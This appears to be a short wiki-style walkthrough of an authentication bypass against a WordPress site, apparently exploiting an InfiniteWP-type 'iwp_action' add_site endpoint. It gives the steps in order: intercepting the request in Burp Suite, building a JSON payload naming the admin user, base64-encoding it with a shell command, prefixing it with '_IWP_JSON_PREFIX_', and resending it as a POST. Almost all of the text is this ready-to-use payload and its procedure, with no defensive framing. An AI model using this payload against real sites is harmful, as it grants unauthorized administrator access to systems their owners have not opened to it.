Authentication Bypass

• Reload the target website and intercept the request using Burp Suite.

Datei:Authentication-Bypass-Wordpress3.png

• Create the JSON payload and convert it to base64.

Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}

• echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0

• Append the base64 generated payload with the String mentioned in the exploit URL.

Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=

• Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.

• Place the payload created as POST request arguments.

• Click on Forward and turn of the intercept.

Bypass